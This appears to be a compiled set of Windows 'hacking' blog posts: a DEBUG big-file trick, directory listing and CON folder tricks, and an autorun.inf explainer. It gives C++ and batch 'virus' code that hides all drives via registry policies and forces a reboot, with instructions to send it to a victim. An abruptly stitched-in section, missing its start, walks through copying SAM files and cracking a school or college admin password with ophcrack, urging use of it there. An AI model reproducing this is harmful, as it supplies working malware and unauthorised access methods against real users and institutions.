How to create a Big size file ?

You can create a big size file using windows default command prompt itself.  Why we need huge size file? When you create virus  or you can use in your college for occupying the memory.

First of all Decide the Size of  huge file.  For eg, if you decide 1 milliion byte,then we should convert it to Hexadecimal format.  Use the Windows Calculator in Scientific mode to convert to Hexadecimal.

we are planned to create 1 million byte sized file.  So,Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the file size reaches eight digits 000F4240.

• Now goto start->run
• Enter "cmd" to open the window.
•  Enter the command DEBUG BIGFILE.DAT and ignore the File not found message. 
•  Type RCX and press Enter. 
• Debug will display a colon prompt.
• Enter the last four digits of the hexadecimal number you calculated (4240, in our example). 
•  Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example). 
• Enter W for Write and Q for Quit.
• You've just created a 1-million-byte file using Debug. 
• Of course you can create a file of any desired size using the same technique.

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.

C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }

Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Hacking Autorun.inf virus attack|Is autorun.inf virus?

When i  studied second year(cse), my friends told that autorun.inf is virus.  I thought so.  Because my antivirus blocks autorun.inf files.   In third year when i search about autorun.inf file in net, i realize about the auto run file.

 Today i bring some files from my college system.  When i insert the pen drive in my system, there are lot of exe files.They are viruses.  I delete all of them.  Finally i opened the autorun.inf file in notepad and saw the instructions.  Then only i remembered that i forget to post about autorun file.  This article will give you complete details about the autorun.inf file.
This is the instructions that saved in the infected(call virus programs) autorun.inf file:

[Autorun]

Open=RECYCLER\QqFvXcB.exe
Explore=RECYCLER\QqFvXcB.exe
AutoPlay=RECYCLER\QqFvXcB.exe
shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

is autorun.inf virus file?  no.  Then why antivirus block the autorun.inf files?  Go ahead to know the full details about auto run file.

Introduction to Autorun.inf File:
Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted.  Simpy triggers.

When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

How to create Autorun file?
Open notepad
type this command:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:
Basic syntax must be inside  the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=
This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.
if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

Explore=
Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.

AutoPlay=
Same as the above , but it will launch the the program when auto played.


SHELL\VERB =

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.

Example:

shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)

Icon=
Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)

Example:

icon=breakthesecurity.ico

Label=

Specifies a text label to displayed for this CD in Explorer
Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking

Why Antivirus Block Autorun.inf file?
From above ,you come to know that autorun.inf file is not virus.  But why antivirus blocks it?  Because as i told autorun file call or launch any application or exe files.  It will lead to virus attack.  If the autorun.inf is blocked,then there is no way to launch the virus code.

Autorun is not virus but it can call virus files.

List and save the directory's name in text file

The Fastest Way of searching the directory in windows

This computer trick will save the all sub directory and file names in text file.  This may helpful to analyse the direcotry(you can know what are the contents inside the window without browsing by simple commands).


Step 1:
First of all open command Prompt.
Step 2:
Browse to folder which you want to analyze the sub directories and files by using cd commands. For Example if you want to visit d:/interview folder then
try this command.
Type "d:"
then "cd interview".
Step 3:

after navigate to direcotry in command prompt,
Type this command :

dir *.* /s /b > dirlist.txt

and hit enter.
This will list all sub directories and files with their extension.

If you want to list only pdf files just use this command

dir *.pdf /s /b > dirlist.txt

Likewise, if you want to search only microsoft word files then use this command.

dir *.doc /s /b > dirlist.txt

If you want to search and list only files that has some certain name. For example, Resume.doc then try this command

dir Resume.* /s /b > dirlist.txt
(or)
dir Resume.doc /s /b > dirlist.txt

Step 4:
you can find the dirlist.txt file in that directory. i mean it will d:/interview directory.

Step 5:
open the text file in notepad or notepad++ ,then search your desired file name or folder(for example "resume"),you will get the full path to the file. This is fastest search than the usual windows search.

 Note: Don't waste your time, use this computer trick to search the drive or folder faster.

Hope you understand the trick. This is fastest way of browsing the folder . if you have any doubts ,feel free to ask me. I will answer if i am able to. Don't spam!

How to Create Con Folder in windows using Cmd?|Brain Hackers

we all know that can't create con folder in windows. 

Here is simple trick to create con folder in windows using Command Prompt.

Step 1:
Open Command Prompt(Start->run->cmd)
Step 2:
Type this command:

md \\.\d:\con

This will create con folder in D Drive.
Step 3:
To Remove the folder type this command

rd \\.\d:\con

This will remove con folder from D Drive

How we are able to create the con and other folder using this trick?

It is just because of the UNC Path (Universal Naming Convention). The Universal Naming Convention, or UNC, specifies a common syntax to describe the location of a network resource, such as a shared file, directory, or printer.Since, these conventions did n't exist under pure DOS, they are not backward compatible. The UNC syntax for Windows systems is as follows..

\\RemoteHost\sharedfolder\resource

where RemoteHost is the computer name / IP address of the computer that you wish to connect through remotely for accessing shared folder. The rest is the path.

(Here \\remotehost\drive:\con doesn't make sense anyway, because without having a process on the remote host, there is no current 'console'). It would be a security hazard as well, having the serial and parallel ports accessible for everyone who is allowed to read or write in any single directory.

The "." in the command \\.\c:\con suggest the local server. Now, you are pointing to your own computer. since, you have all privilages on every folder of ur computer, you can easily create it.

why can not we create con folder in windows?

A Reason Behind the Con Folder Creation in Windows

We all know that we can't create Con, Folder in windows. not only con but also " PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 and more".

Here i am going to explain why you can not create the con folder in windows.

Reason:

We can not create folder with con,aux, nul because these are reserved keywords used by DOS. so if u r allowed to create such folders, there will be an ambiguity in where to write data when the data is supposed to go to the specified devices. In other words, if i want to print something, internally what windows does is -- it will write the data to the folder prn (virtually u can call it a folder, i mean prn, con, etc are virtual folders in device level). So if we are able to create con folder, windows will get confused where to write the data, to virtual con folder or real one.

Keywords and Their corresponding Functions:

Reserved Keywords	Function
CON	Keyboard and Display
PRN	System list device, usually a parellel port
AUX	Auxiliary Device,usually a serial port
NUL	Bit-Bucket Device
A:-Z:	Drive Letter
COM1	First Serial communications port
COM2	Second Serial communications port
COM3	Third Serial communications port
COM4	Fourth Serial communications port
LPT1	First Parallel printer port
LPT2	second Parallel printer port
LPT3	Third Parallel printer port

WINDOWS/system32/config/

There you can see two files named as "SAM" and "System". 

Copy the both SAM and system files.
[ Just proceed to next step without closing the window]

Step 3:Insert your Empty Pen Drive
Now again go to System Menu->Storage Media
Open Your pen drive(Empty Pen drive) ,Create a new folder and paste the sam and system files inside that folder

[note: you may not paste into your backtrack installed pen drive. that's why i asked you to bring 2 pen drives.  If you testing in your system, then you can copy to any other hard drive.]

You can not directly copy the sam and system files from same operating system. That's why we are using Backtrack.

Step 4:Now go to your home.
Boot into windows.  Extract the "tables_xp_free_fast.zip" in any hard drive.
Copy the folder that contains sam and system files from your pen drive.
Paste in any hard drive.
---
Restart the windows.
Insert the Backtrack installed pen drive and boot from Pen drive.

Step 5: Mounting the Hard drive in Backtrack

Now  go to System Menu->Storage Media(if you see nothing, close the window open it again).
and open the hard drives that contains sam files and rainbow tables. Then close it.

Don't be confused. I asked you to open those hard drive for mounting purpose. In linux , it won't mount automatically until you open the drive

Step 6: Run OphCrack Tool in Backtrack
Open the ophcrack GUI(start->Backtrack->Privilege Escalation->Password Attack->offline Attacks-ophCrack GUI).

Ophcrack GUI application will run now.

Step 7: Loading the folder that contains sam and system files

Click the Load and select "Encrypted SAM" in ophcrack tool.
Now it will ask you to select directory that contains SAM folder.
 
[Select Computer in file selecting window.  click '/'  browse to /media/your_Hard_Disk]
 Select the directory(don't open the directory, just select it).

Now it will load and display the list of user accounts in the windows.

Step 8: Target the Admin Account
Here i am going to hack the one of the administrator account "secure" of my computer.
So remove all other accounts except the target admin account.[This is not necessary, but it will increase the cracking speed] by clicking delete button.

Step 9: Install the Rainbow Table
Now let us install the Rainbow table.
Click the Table button in ophcrack tool.
Now it will ask you to selec the table. 
we are going to crack windows password right?. So choose the first one. and click the install button.
[note: i have installed the rainbow table already.  So it showing green.]

Now browse to the Rain bow table directory. I mean to the "tables_xp_free_fast" folder.
[here also, don't open the foler, just choose it]

now click ok.


Step 10: Cracking Begins
Click the Crack button.
Wait for a while [ophcrack is the fastest cracking tool. so it won't take too much time]

Step 11: Password is cracked
Yes..!! we got the password.  Now go to your school/college and login with that password.
Enjoy.  Don't forget to share with your friends.  This is interesting one na..!
Actually i missed the fun.  I didn't know this hack when i study in college. if i know that time itself,
i may have fun with my college system. 

Using Backtrack Installed CD Or single Pen drive:

You will need only one pen drive, if you are going to hack the admin password in the target system itself. Don't forget to bring the rainbow table in your backtrack pen drive in this case.

you can use cd instead of Pen drive for backtrack installation.
If you use cd, you can not bring the SAM file to your home. You have to crack it in that computer itself
